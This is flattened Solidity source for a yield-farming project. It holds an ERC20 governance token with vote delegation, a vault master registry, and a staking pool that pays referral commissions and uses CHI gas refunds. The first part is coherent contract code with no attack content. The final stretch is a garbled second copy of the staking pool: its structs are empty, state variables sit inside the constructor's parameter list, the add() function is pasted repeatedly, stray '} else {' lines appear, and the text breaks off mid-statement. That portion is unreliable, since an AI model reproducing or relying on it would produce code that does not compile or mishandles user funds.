virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/vaults/ValueLiquidityToken.sol // Value Liquidity (VALUE) with Governance Alpha contract ValueLiquidityToken is ERC20 { using SafeERC20 for IERC20; using SafeMath for uint256; IERC20 public yfv; address public governance; uint256 public cap; uint256 public yfvLockedBalance; mapping(address => bool) public minters; event Deposit(address indexed dst, uint amount); event Withdrawal(address indexed src, uint amount); constructor (IERC20 _yfv, uint256 _cap) public ERC20("Value Liquidity", "VALUE") { governance = msg.sender; yfv = _yfv; cap = _cap; } function mint(address _to, uint256 _amount) public { require(msg.sender == governance || minters[msg.sender], "!governance && !minter"); _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function burn(uint256 _amount) public { _burn(msg.sender, _amount); _moveDelegates(_delegates[msg.sender], address(0), _amount); } function burnFrom(address _account, uint256 _amount) public { uint256 decreasedAllowance = allowance(_account, msg.sender).sub(_amount, "ERC20: burn amount exceeds allowance"); _approve(_account, msg.sender, decreasedAllowance); _burn(_account, _amount); _moveDelegates(_delegates[_account], address(0), _amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function setCap(uint256 _cap) public { require(msg.sender == governance, "!governance"); require(_cap.add(yfvLockedBalance) >= totalSupply(), "_cap (plus yfvLockedBalance) is below current supply"); cap = _cap; } function deposit(uint256 _amount) public { yfv.safeTransferFrom(msg.sender, address(this), _amount); yfvLockedBalance = yfvLockedBalance.add(_amount); _mint(msg.sender, _amount); _moveDelegates(address(0), _delegates[msg.sender], _amount); Deposit(msg.sender, _amount); } function withdraw(uint256 _amount) public { yfvLockedBalance = yfvLockedBalance.sub(_amount, "There is not enough locked YFV to withdraw"); yfv.safeTransfer(msg.sender, _amount); _burn(msg.sender, _amount); _moveDelegates(_delegates[msg.sender], address(0), _amount); Withdrawal(msg.sender, _amount); } // This function allows governance to take unsupported tokens out of the contract. // This is in an effort to make someone whole, should they seriously mess up. // There is no guarantee governance will vote to return these. // It also allows for removal of airdropped tokens. function governanceRecoverUnsupported(IERC20 _token, address _to, uint256 _amount) external { require(msg.sender == governance, "!governance"); if (_token == yfv) { uint256 yfvBalance = yfv.balanceOf(address(this)); require(_amount <= yfvBalance.sub(yfvLockedBalance), "cant withdraw more then stuck amount"); } _token.safeTransfer(_to, _amount); } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) {// When minting tokens require(totalSupply().add(amount) <= cap.add(yfvLockedBalance), "ERC20Capped: cap exceeded"); } } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "VALUE::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "VALUE::delegateBySig: invalid nonce"); require(now <= expiry, "VALUE::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "VALUE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying VALUEs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "VALUE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2 ** 32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly {chainId := chainid()} return chainId; } } // File: contracts/vaults/ValueVaultMaster.sol /* * Here we have a list of constants. In order to get access to an address * managed by ValueVaultMaster, the calling contract should copy and define * some of these constants and use them as keys. * Keys themselves are immutable. Addresses can be immutable or mutable. * * Vault addresses are immutable once set, and the list may grow: * K_VAULT_WETH = 0; * K_VAULT_ETH_USDC_UNI_V2_LP = 1; * K_VAULT_ETH_WBTC_UNI_V2_LP = 2; */ /* * ValueVaultMaster manages all the vaults and strategies of our Value Vaults system. */ contract ValueVaultMaster { address public governance; address public bank; address public minorPool; address public profitSharer; address public govToken; // VALUE address public yfv; // When harvesting, convert some parts to YFV for govVault address public usdc; // we only used USDC to estimate APY address public govVault; // YFV -> VALUE, vUSD, vETH and 6.7% profit from Value Vaults address public insuranceFund = 0xb7b2Ea8A1198368f950834875047aA7294A2bDAa; // set to Governance Multisig at start address public performanceReward = 0x7Be4D5A99c903C437EC77A20CB6d0688cBB73c7f; // set to deploy wallet at start uint256 public constant FEE_DENOMINATOR = 10000; uint256 public govVaultProfitShareFee = 670; // 6.7% | VIP-1 (https://yfv.finance/vip-vote/vip_1) uint256 public gasFee = 50; // 0.5% at start and can be set by governance decision uint256 public minStakeTimeToClaimVaultReward = 24 hours; mapping(address => bool) public isVault; mapping(uint256 => address) public vaultByKey; mapping(address => bool) public isStrategy; mapping(uint256 => address) public strategyByKey; mapping(address => uint256) public strategyQuota; constructor(address _govToken, address _yfv, address _usdc) public { govToken = _govToken; yfv = _yfv; usdc = _usdc; governance = tx.origin; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } // Immutable once set. function setBank(address _bank) external { require(msg.sender == governance, "!governance"); require(bank == address(0)); bank = _bank; } // Mutable in case we want to upgrade the pool. function setMinorPool(address _minorPool) external { require(msg.sender == governance, "!governance"); minorPool = _minorPool; } // Mutable in case we want to upgrade this module. function setProfitSharer(address _profitSharer) external { require(msg.sender == governance, "!governance"); profitSharer = _profitSharer; } // Mutable, in case governance want to upgrade VALUE to new version function setGovToken(address _govToken) external { require(msg.sender == governance, "!governance"); govToken = _govToken; } // Immutable once added, and you can always add more. function addVault(uint256 _key, address _vault) external { require(msg.sender == governance, "!governance"); require(vaultByKey[_key] == address(0), "vault: key is taken"); isVault[_vault] = true; vaultByKey[_key] = _vault; } // Mutable and removable. function addStrategy(uint256 _key, address _strategy) external { require(msg.sender == governance, "!governance"); isStrategy[_strategy] = true; strategyByKey[_key] = _strategy; } // Set 0 to disable quota (no limit) function setStrategyQuota(address _strategy, uint256 _quota) external { require(msg.sender == governance, "!governance"); strategyQuota[_strategy] = _quota; } function removeStrategy(uint256 _key) external { require(msg.sender == governance, "!governance"); isStrategy[strategyByKey[_key]] = false; delete strategyByKey[_key]; } function setGovVault(address _govVault) public { require(msg.sender == governance, "!governance"); govVault = _govVault; } function setInsuranceFund(address _insuranceFund) public { require(msg.sender == governance, "!governance"); insuranceFund = _insuranceFund; } function setPerformanceReward(address _performanceReward) public{ require(msg.sender == governance, "!governance"); performanceReward = _performanceReward; } function setGovVaultProfitShareFee(uint256 _govVaultProfitShareFee) public { require(msg.sender == governance, "!governance"); govVaultProfitShareFee = _govVaultProfitShareFee; } function setGasFee(uint256 _gasFee) public { require(msg.sender == governance, "!governance"); gasFee = _gasFee; } function setMinStakeTimeToClaimVaultReward(uint256 _minStakeTimeToClaimVaultReward) public { require(msg.sender == governance, "!governance"); minStakeTimeToClaimVaultReward = _minStakeTimeToClaimVaultReward; } /** * This function allows governance to take unsupported tokens out of the contract. * This is in an effort to make someone whole, should they seriously mess up. * There is no guarantee governance will vote to return these. * It also allows for removal of airdropped tokens. */ function governanceRecoverUnsupported(IERC20x _token, uint256 amount, address to) external { require(msg.sender == governance, "!governance"); _token.transfer(to, amount); } } interface IERC20x { function transfer(address recipient, uint256 amount) external returns (bool); } // File: contracts/vaults/ValueMinorPool.sol interface IYFVReferral { function setReferrer(address farmer, address referrer) external; function getReferrer(address farmer) external view returns (address); } interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); } // Similar to ValueMasterPool but will generate only a small amount of VALUE for 2 weeks at most. And we remove Migration process from this pool. Happy farming dude! contract ValueMinorPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130); } // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 accumulatedStakingPower; // will accumulate every time user harvest } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. VALUEs to distribute per block. uint256 lastRewardBlock; // Last block number that VALUEs distribution occurs. uint256 accValuePerShare; // Accumulated VALUEs per share, times 1e12. See below. bool isStarted; // if lastRewardBlock has passed } uint256 public constant REFERRAL_COMMISSION_PERCENT = 1; address public rewardReferral; // The VALUE TOKEN! ValueLiquidityToken public value; // InsuranceFund address. address public insuranceFundAddr; // VALUE tokens created per block. uint256 public valuePerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when VALUE mining starts. uint256 public startBlock; ValueVaultMaster public vaultMaster; // Block number when each epoch ends. uint256[3] public epochEndBlocks = [11000000, 1000000000, 2000000000]; // Reward multipler uint256[4] public epochRewardMultiplers = [500, 0, 0, 0]; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( ValueLiquidityToken _value, address _insuranceFundAddr, uint256 _valuePerBlock, uint256 _startBlock, ValueVaultMaster _vaultMaster ) public { value = _value; insuranceFundAddr = _insuranceFundAddr; valuePerBlock = _valuePerBlock; // supposed to be 0.001 (1e16 wei) startBlock = _startBlock; // supposed to be 10,916,000 (Wed Sep 23 2020 02:00:00 GMT+0) vaultMaster = _vaultMaster; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { // chef is sleeping if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; } else { if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } } else { // chef is cooking if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } // Update the given pool's VALUE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint); } pool.allocPoint = _allocPoint; } function setValuePerBlock(uint256 _valuePerBlock) public onlyOwner { massUpdatePools(); valuePerBlock = _valuePerBlock; } function setEpochEndBlock(uint8 _index, uint256 _epochEndBlock) public onlyOwner { require(_index < 3, "_index out of range"); require(_epochEndBlock > block.number, "Too late to update"); require(epochEndBlocks[_index] > block.number, "Too late to update"); epochEndBlocks[_index] = _epochEndBlock; } function setEpochRewardMultipler(uint8 _index, uint256 _epochRewardMultipler) public onlyOwner { require(_index > 0 && _index < 4, "Index out of range"); require(epochEndBlocks[_index - 1] > block.number, "Too late to update"); epochRewardMultiplers[_index] = _epochRewardMultipler; } function setRewardReferral(address _rewardReferral) external onlyOwner { rewardReferral = _rewardReferral; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 3; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochRewardMultiplers[epochId]); uint256 multiplier = _to.sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId]); if (epochId == 1) return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return multiplier.add(epochEndBlocks[epochId].sub(_from).mul(epochRewardMultiplers[epochId])); multiplier = multiplier.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId])); } return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); } } return _to.sub(_from).mul(epochRewardMultiplers[0]); } // View function to see pending VALUEs on frontend. function pendingValue(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accValuePerShare = pool.accValuePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accValuePerShare = accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } } return user.amount.mul(accValuePerShare).div(1e12).sub(user.rewardDebt); } function stakingPower(uint256 _pid, address _user) public view returns (uint256) { UserInfo storage user = userInfo[_pid][_user]; return user.accumulatedStakingPower.add(pendingValue(_pid, _user)); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public discountCHI { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } // Deposit LP tokens to the pool for VALUE allocation. function deposit(uint256 _pid, uint256 _amount, address _referrer) public discountCHI { depositOnBehalf(msg.sender, _pid, _amount, _referrer); } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); uint256 actualPaid = pending.mul(100 - REFERRAL_COMMISSION_PERCENT).div(100); // 99% uint256 commission = pending - actualPaid; // 1% safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } if (_referrer != address(0)) { // send commission to referrer safeValueTransfer(_referrer, commission); } else { // send commission to insuranceFundAddr safeValueTransfer(insuranceFundAddr, commission); } } } if(_amount > 0) { pool.lpToken.safeTransferFrom(farmer, address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accValuePerShare).div(1e12); emit Deposit(farmer, _pid, _amount); } // Withdraw LP tokens from the pool. function withdraw(uint256 _pid, uint256 _amount) public discountCHI { withdrawOnBehalf(msg.sender, _pid, _amount); } function withdrawOnBehalf(address farmer, uint256 _pid, uint256 _amount) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); uint256 actualPaid = pending.mul(100 - REFERRAL_COMMISSION_PERCENT).div(100); // 99% uint256 commission = pending - actualPaid; // 1% safeValueTransfer(farmer, actualPaid); address _referrer = address(0); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } if (_referrer != address(0)) { // send commission to referrer safeValueTransfer(_referrer, commission); } else { // send commission to insuranceFundAddr safeValueTransfer(insuranceFundAddr, commission); } } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(farmer, _amount); } user.rewardDebt = user.amount.mul(pool.accValuePerShare).div(1e12); emit Withdraw(farmer, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe value mint, ensure it is never over cap and we are the current owner. function safeValueMint(address _to, uint256 _amount) internal { if (value.minters(address(this)) && _to != address(0)) { uint256 totalSupply = value.totalSupply(); uint256 realCap = value.cap().add(value.yfvLockedBalance()); if (totalSupply.add(_amount) > realCap) { value.mint(_to, realCap.sub(totalSupply)); } else { value.mint(_to, _amount); } } } // Safe value transfer function, just in case if rounding error causes pool to not have enough VALUEs. function safeValueTransfer(address _to, uint256 _amount) internal { uint256 valueBal = value.balanceOf(address(this)); if (_amount > valueBal) { value.transfer(_to, valueBal); } else { value.transfer(_to, _amount); } } // Update insuranceFund by the previous insuranceFund contract. function setInsuranceFundAddr(address _insuranceFundAddr) public { require(msg.sender == insuranceFundAddr, "insuranceFund: wut?"); insuranceFundAddr = _insuranceFundAddr; } // This function allows governance to take unsupported tokens out of the contract, since this pool exists longer than the other pools. // This is in an effort to make someone whole, should they seriously mess up. // There is no guarantee governance will vote to return these. // It also allows for removal of airdropped tokens. function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOwner { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; // cant take staked asset require(_token != pool.lpToken, "!pool.lpToken"); } // transfer to _token.safeTransfer(to, amount); } }
Similar to ValueMasterPool but will generate only a small amount of VALUE for 2 weeks at most. And we remove Migration process from this pool. Happy farming dude!
contract ValueMinorPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130); } struct UserInfo { } struct PoolInfo { } uint256 public constant REFERRAL_COMMISSION_PERCENT = 1; address public rewardReferral; ValueVaultMaster public vaultMaster; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( ValueLiquidityToken _value, address _insuranceFundAddr, uint256 _valuePerBlock, uint256 _startBlock, ValueVaultMaster _vaultMaster ValueLiquidityToken public value; address public insuranceFundAddr; uint256 public valuePerBlock; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; uint256[3] public epochEndBlocks = [11000000, 1000000000, 2000000000]; uint256[4] public epochRewardMultiplers = [500, 0, 0, 0]; ) public { value = _value; insuranceFundAddr = _insuranceFundAddr; vaultMaster = _vaultMaster; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } } else { function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } } else { function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < 